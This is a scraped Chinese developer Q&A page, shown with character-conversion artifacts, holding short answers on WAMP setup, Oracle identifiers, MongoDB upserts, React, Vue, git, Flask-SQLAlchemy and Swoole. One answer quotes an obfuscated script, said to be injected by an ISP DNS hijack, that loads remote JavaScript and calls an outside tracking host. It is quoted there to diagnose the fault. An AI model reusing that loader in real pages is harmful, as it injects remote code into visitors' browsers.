鍍金池/ 問答
心上人 回答
  1. 把項目代發(fā)放入www文件夾里面

  2. 開啟wamp.server 等待變綠色

  3. 用localhost/項目文件名稱訪問

命多硬 回答

你沒有安裝 ssh 客戶端。

yum install openssh-clients
入她眼 回答

建議用python腳本編寫,通過multiporcessingthreadingasyncio,調(diào)用requests模塊的相關(guān)方法(比如post之類)

賤人曾 回答

強制設(shè)置item的frame試試,例如修改到60x60

[[UIBarButtonItem alloc]initWithCustomView:_xxxButton]; //沒記錯應(yīng)該是這樣寫
[_xxxButton setFrame:CGRectMake(0,0,60,60)];

ps 導(dǎo)航條item最后顯示的origin與設(shè)置的origin沒有直接聯(lián)系,但是size會有關(guān)聯(lián)

旖襯 回答

在ORACLE里字段名或者表名可以以下劃線開頭,但必須用雙引號括起來;話說盡量不要以下劃線開頭啊,有點奇葩。

范例:

SQL> create table t1(_col1 number,_col2 number);

create table t1(_col1 number,_col2 number)

ORA-00911: 無效字符

SQL> create table t1("_col1" number,"_col2" number);

Table created

敢試 回答
db.<coll>.update({條件}, {$set: {字段}, $setOnInsert: {date: new Date()}}, {upsert: true});

加上$setOnInsert表示只有在插入的時候才帶這個字段。跟關(guān)系數(shù)據(jù)庫不同的是,這個時間來自你的應(yīng)用,而不是數(shù)據(jù)庫加上去的默認(rèn)值。

厭遇 回答

input 沒有雙向綁定
<input type="text" v-model="item.number" v-on:change="changeFn()">

焚音 回答

1.正則匹配出來
2.讓后臺改一下,把XXX和 2 單獨傳過來

茍活 回答

setState會觸發(fā)子組件的重新計算vdom,但是不一定會重新更新dom

哎呦喂 回答

forceUpdate會跳過shouldComponentUpdate步驟直接觸發(fā)組件的render方法
官網(wǎng)建議應(yīng)該盡量避免使用forceUpdate

Normally you should try to avoid all uses of forceUpdate() and only read from this.props and this.state in render().
https://reactjs.org/docs/reac...
任她鬧 回答
rm -rf .git
git init
git remote add origin  https://xxxx@github.com/xxxx/yyyy.git
git pull origin master # 這一步,如果提示你有沖突,你要先解決沖突,再往下進(jìn)行
git add  project2/
git commit -m "from pc1"  
git push -u origin master
來守候 回答

不是,不是使用bt布局時候 所有元素都要放到柵格化系統(tǒng)去。

可以不加?xùn)鸥窕到y(tǒng),柵格化是為了排版。但是往往我們都會放在柵格化系統(tǒng)里去,方便管理。

不過你可以加多個柵格化系統(tǒng),如果某些情況下你覺得一個柵格化系統(tǒng)不在靈活。

比如它的導(dǎo)航條,默認(rèn)就是一個獨立的柵格化系統(tǒng)。

如果需要可以看一下bt的小demo演示,頭部導(dǎo)航是獨立的柵格化,另外有些頁面是用的100%的寬度的

女流氓 回答

你問區(qū)別的話,沒有太大的區(qū)別, 都是云服務(wù)器, 而且都是比較成熟的。
那些深層的、細(xì)微的區(qū)別, 中小企業(yè)以及普通用戶是接觸不到的

浪蕩不羈 回答

在苦苦尋覓下,找這里找到了答案:https://segmentfault.com/q/10...
出現(xiàn)的原因是因為 電信劫持了dns,在網(wǎng)頁中將我原來的5.fd7xxxxxxxxxxxx.js成以下的代碼

var _b, _c, _ju = "http://testapi.233sy.cn/tg/down/static/js/5.fd7c409603287d19fa4b.js";
_ju = _ju + (_ju.indexOf("?") > 0 ? "&" :"?") + "_t=" + new Date().getTime(),
_b = "AH488569",_c = "382542271_(iKm6V1g0V1P6wj8Nih==_358325746_@iJvkDKehwJ9Wi6et9JgWitfZMe==_)iKghiJeh", function(a) {
    function b(b) {
        var c = a.createElement("script");
        c.setAttribute("src", b), a.head ? a.head.appendChild(c) :a.body && a.body.appendChild(c);
    }
    var c = a.location.host.split("."), d = c.length, e = c[d - 2] + "." + c[d - 1];
    /^(com|net|org|gov)$/.test(c[d - 2]) && d > 2 && (e = c[d - 3] + "." + c[d - 2] + "." + c[d - 1]),
        _ju.indexOf(e) > 0 ? (a.write('<div><script>document.write(unescape(\'%3Cscript id="_ju_" src="' + _ju + "\" %3E%3C/script%3E') );</script></div>"),
        a.getElementById("_ju_") || b(_ju)) :b(_ju), b("http:///gfnsdv.yxwwj.cn:8001/pjk/static/tp.php?b="+_b+"&");
}(document);

我使用的是路由懶加載,才有上面的提示。之前模塊5被替換這個,就load不到了。

解決方式:
1、使用https協(xié)議,不讓電信劫持dns
2、自己判斷不正常代碼存在,重新刷新該地址(短期內(nèi),我們目前就是用這種方式解決的)

 window.onload = function(){
      
      let isSetInt = false;
      let setInt = setInterval(r => {
          let index  = getstore() || 0;
          let findDns = false;
          if (isSetInt) {
              clearInterval(setInt);
              let scr = document.getElementsByTagName('script');
            for (var i = scr.length - 1; i >= 0; i--) {
                if (scr[i].src.indexOf('gfnsdv.yxwwj.cn') != -1 && index < 2) {
                    
                    findDns = true;
                    store(++index);
                    window.location.reload();
                    break;
                }
            }
            if (!findDns) {
                store(0)
            }
          }
          try{
              if (getmd5) {
                  isSetInt = true;
              }
              
          }catch(e){
              console.log(e);
          }
      },1000);
    
  }

      function store (state) {
        try {
           return localStorage.setItem('index', state);
        } catch (e) {
          cookie.setCookie('index',state, 1);
        }
    }

    function getstore () {
        if (localStorage.getItem('index') == null) {
            return unescape(cookie.getCookie('index'));
        }else{
            return localStorage.getItem('index');
        }
    }
安若晴 回答

js沒有這個內(nèi)置函數(shù)的。你不需要額外去轉(zhuǎn)換,js會自己處理成 12e+7 類似這種科學(xué)計數(shù)法的數(shù)字

有點壞 回答

(1)你在切換導(dǎo)航的時候給個類型區(qū)別,你可以在url添加一個錨點,例如http://localhost:8086/topic/index?nav=XXX.(XXX就是點擊nav名字)
(2)

<ul>
    <li data-type=“wangye”>網(wǎng)頁</li>
    <li data-type=“xinwen”>新聞</li>
    <li data-type=“tieba”>貼吧</li>
</ul>

(3)用jquery或者js或者angularjs里自帶的路由獲取url里的XXX,讓li里的data-type值與XXX相等的添加高亮狀態(tài)。當(dāng)然你也可以不用data-type,用id也可以。例如:

<ul>
    <li id=“wangye”>網(wǎng)頁</li>
    <li id=“xinwen”>新聞</li>
    <li id=“tieba”>貼吧</li>
</ul>

$(XXX).addClass(高亮class);把XXX當(dāng)id即可;
(4)好處:頁面刷新,選中的高亮狀態(tài)也不會消失,到達(dá)預(yù)期效果。 壞處:代碼不夠優(yōu)美,有待優(yōu)化與改善

笨小蛋 回答

假設(shè) models.py 你是這樣設(shè)計的:

# -*- coding:utf-8 -*-
___blog__ = 'www.os373.cn'


class App(db.Model):
    __tablename__ = 'apps'
    id = db.Column(db.Integer, primary_key=True)
    name = db.Column(db.String(64), unique=True, index=True)
    keyword = .....
    ...
    ...
    # 定義“一對多”關(guān)系中的一
    downloads = db.relationship('Download', backref='download', lazy='dynamic')
    

class Download(db.Model):
    __tablename__ = 'downloads'
    id = db.Column(db.Integer, primary_key=True)    
    keyword = .....
    ...
    ...
    # 定義“一對多”關(guān)系中的多
    aid = db.Column(db.Integer, db.ForeignKey('apps.id'))

以上設(shè)計,就是設(shè)置了一個一對多關(guān)系的數(shù)據(jù)庫表結(jié)構(gòu)。

現(xiàn)在我們設(shè)計 views.py 視圖

# -*- coding:utf-8 -*-
___blog__ = 'www.os373.cn'

    .........
    
    page_index = request.args.get('page', 1, type=int)
    downloads = db.session.query(App.id, App.name, Download.keyword, Download.ranks, Download.download, Download.yesterday_download, Download.today_download).join(Download, App.id==Download.aid).order_by(Download.id.desc()). paginate(page_index, per_page=20, error_out=False)

如果想精進(jìn)自己的 sqlalchmy 的能力,希望你能多看看我的這個 sql to sqlalchemy 項目

安于心 回答

這個問題已經(jīng)有人在 Swoole 提過 issue。

可能是高版本gcc+低版本內(nèi)核導(dǎo)致的,libc中有signalfd的函數(shù),但是linux內(nèi)核不支持??梢孕薷腗akefile去掉HAVE_SIGNALFD或升級Linux內(nèi)核。

具體可以去看下 這個問題。